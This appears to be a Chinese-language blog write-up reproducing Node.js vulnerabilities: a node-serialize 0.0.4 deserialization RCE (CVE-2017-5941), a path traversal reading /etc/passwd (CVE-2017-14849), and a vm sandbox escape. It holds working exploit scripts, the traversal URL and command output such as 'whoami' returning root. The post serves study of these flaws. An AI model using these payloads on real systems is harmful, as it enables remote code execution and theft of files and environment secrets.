Node.js中的反序列化漏洞:CVE-2017-5941
这个漏洞针对于node-serialize@0.0.4这个版本
前置准备
# nodejs
sudo apt-get install nodejs
sudo apt-get install nodejs-legacy
# 版本号
node -v
# npm
sudo apt-get install npm
# 版本号
npm -v
# 下载对应版本
sudo npm install node-serialize@0.0.4 --save
建议在自己的vps下复现
我这里准备的比较粗糙,没有做好环境区分什么的
一个exp
我们直接搓一个index.js,内容如下,然后直接node运行
root@dkhkdB44QUxpXagmmGyT:~/test# cat index.js
// index.js
var serialize = require('node-serialize');
var chybeta = {
vuln : function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});},
}
serResult = serialize.serialize(chybeta);
console.log("serialize result:");
console.log(serResult+'\n');
console.log("Direct unserialize:")
serialize.unserialize(serResult);
console.log("\n");
console.log("Use IIFE to PWN it:")
exp = serResult.substr(0,serResult.length-2) + "()" + serResult.substr(-2);
console.log(exp);
console.log("Exec whoami:")
serialize.unserialize(exp);
// node index.js
root@dkhkdB44QUxpXagmmGyT:~/test# node index.js
serialize result:
{"vuln":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}"}
Direct unserialize:
Use IIFE to PWN it:
{"vuln":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}()"}
Exec whoami:
root
我们会发现直接执行了whoami命令,那么这条反序列化是如何利用的呢
理论分析
- IIFE
是一种立即调用函数表达式,在定义时候就会被执行的表达式(可以类比python中的海象表达式)
IIFE相关内容
exp
// 标准 IIFE
(function () {
// 语句……
})();
// 箭头函数变体
(() => {
// 语句……
})();
// 异步 IIFE
(async () => {
// 语句……
})();
通常是需要括号括起来才能被正常解析
参数可以通过,也可以不提供
关于serialize.js中反序列化处理出错
root@dkhkdB44QUxpXagmmGyT:~/node_modules/node-serialize/lib# cat serialize.js
var FUNCFLAG = '_$$ND_FUNC$$_';
var CIRCULARFLAG = '_$$ND_CC$$_';
var KEYPATHSEPARATOR = '_$$.$$_';
var ISNATIVEFUNC = /^function\s*[^(]*\(.*\)\s*\{\s*\[native code\]\s*\}$/;
var getKeyPath = function(obj, path) {
path = path.split(KEYPATHSEPARATOR);
var currentObj = obj;
path.forEach(function(p, index) {
if (index) {
currentObj = currentObj[p];
}
});
return currentObj;
};
exports.serialize = function(obj, ignoreNativeFunc, outputObj, cache, path) {
path = path || '$';
cache = cache || {};
cache[path] = obj;
outputObj = outputObj || {};
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object' && obj[key] !== null) {
var subKey;
var found = false;
for(subKey in cache) {
if (cache.hasOwnProperty(subKey)) {
if (cache[subKey] === obj[key]) {
outputObj[key] = CIRCULARFLAG + subKey;
found = true;
}
}
}
if (!found) {
outputObj[key] = exports.serialize(obj[key], ignoreNativeFunc, outputObj[key], cache, path + KEYPATHSEPARATOR + key);
}
} else if(typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
if(ISNATIVEFUNC.test(funcStr)) {
if(ignoreNativeFunc) {
funcStr = 'function() {throw new Error("Call a native function unserialized")}';
} else {
throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
}
}
outputObj[key] = FUNCFLAG + funcStr;
} else {
outputObj[key] = obj[key];
}
}
}
return (path === '$') ? JSON.stringify(outputObj) : outputObj;
};
exports.unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;
var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}
if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};
注意看这段反序列化处理
exports.unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;
var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}
if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};
这里注意到有一句eval,是否可以进行命令执行呢
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
这里的unserialize逻辑允许一种特殊字符串前缀FUNCFLAG(序列化时把函数变成字符串并加上前缀).攻击者能够控制 obj 的内容(未信任来源)。关键点:反序列化过程**把外部输入当“可执行代码的字符串”**处理。
我们构造一个IIFE,在调用这个版本的unserialize的时候,就能够杯执行(构造时要注意前缀等内容)
这里也是有一份现成的脚本
serialize = require('node-serialize');
var test = {
exp : function(){
require('child_process').exec('ls /', function(error, stdout, stderr){
console.log(stdout)
});
},
}
console.log("序列化生成的payload:\n" + serialize.serialize(test));
// {"exp":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error,stdout,stderr){console.log(stdout)});}"}
看一下逻辑就是用node-serialize这个库进行序列化(会自动带上标志前缀)
生成的payload被unserialize调用的时候就会被调用造成rce了
Node.js 目录穿越漏洞复现 CVE-2017-14849
复现的时候搭环境就有点问题,我本人并不喜欢在本地起docker,更喜欢在vps上进行操作,由于前几次git clone下来的文件内容都比较小,所以我也就随意clone了,然后vps上还存了三四个将来要打和复现的题目的docker环境,导致我原本2g的容量不太够,在vulhub想用svn单独clone这个漏洞的文件夹下来,发现一直报错(原因不明),后面我还是全clone下来了(没想到vulhub居然只占不到100mb)
直接起docker,然后burpsuit抓包
将GET方法的/改为/static/../../../a/../../../../etc/passwd 即可下载得到/etc/passwd文件
如图所示

原理暂时还是无法理解(doge)
https://security.tencent.com/index.php/blog/msg/121
vm沙箱逃逸
煮波打了两天的春秋云镜,才拿到了第一个flag(已老实,这套靶场打完我会尽快的更新wp,尽量做到比包子王还要详细,工具的配置什么的我会讲的更加清楚,然后也会提供一个工具箱的地址,有的摸爬滚打真的只有自己体会了之后才能知道)
现在重新回来把VM沙箱逃逸的内容补充一下,Nodejs这块内容就算是告一段落了,后续要是还有什么很骚的姿势我会接着补充的
vm简介
vm模块能够在V8虚拟机上下文中编译和运行代码,隔离当前的执行环境,避免被恶意代码攻击
听着似乎是挺安全的,实际上呢?
逃逸例子
目前最常见的exp
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
运行之后造成了什么后果呢?
root@dkhkdB44QUxpXagmmGyT:~# node test.js
{
SHELL: '/bin/bash',
PWD: '/root',
LOGNAME: 'root',
XDG_SESSION_TYPE: 'tty',
MOTD_SHOWN: 'pam',
HOME: '/root',
LANG: 'C.UTF-8',
.......
}
爆了一地的装备,那这就很有意思了,明明说vm是提供了一个安全的隔离环境来运行js代码,那么这里为什么会爆装备呢
解释
在创建vm环境的时候,会先初始化一个对象,这里姑且叫做沙箱sandbox,这个对象就是在vm中执行脚本时的全局环境,这里叫做context,在这个vm脚本中,全局this指向这个对象,看如下
上面的exp可以等价于下面的这段代码
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
这里来逐行分析
第一行就是直接require一个vm
第二行就是先初始化一个对象sandbox,后续会作为vm这里的全局环境
第三行这里主要是一个this.constructor.constructor的问题
this.constructor.constructor返回的是一个Function constructor,然后这里我们就可以利用这个特性,利用function对象来构造一个函数并执行(也就是这里的return this.process.env)。其次的new vm.Script(codeString)就是把传入的 JavaScript 源码编译成一个可重复执行的 Script 对象,但并不立即执行
第四行vm.createContext(sandbox)的操作就是:把一个普通对象 sandbox “上下文化”(contextify)为 V8 的独立全局对象(context)。之后在这个 context 里运行的脚本,会把该 context 作为它的全局对象(globalThis / this)的基础
第五行script.runInContext(context):在先前 createContext 创建的 context(上下文)中执行 vm.Script 编译的代码并返回结果。相当于把编译好的代码“注入”到该 context 的全局里执行
后面就得到了env
但是要说这里面的根本原因,其实还是在creatContest这里
vm.createContext 并未移除 constructor 这类链条。通过对象构造器的链(this.constructor.constructor)可以取得 Function,而 Function 构造出来的函数运行在宿主全局,从而可以访问宿主的敏感全局(process、require 等)
同样的道理,配合上chile_process.exec()就可以进行rce了
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
Nodejs告一段落了,最近看了X1r0z大佬的博客,被他那么全面的技术栈震惊到了(居然还会区块链),每看一位大佬的博客,感觉都像是对我自己不足的一次警醒,起点已经比大家低很多了,所以要进行更多的学习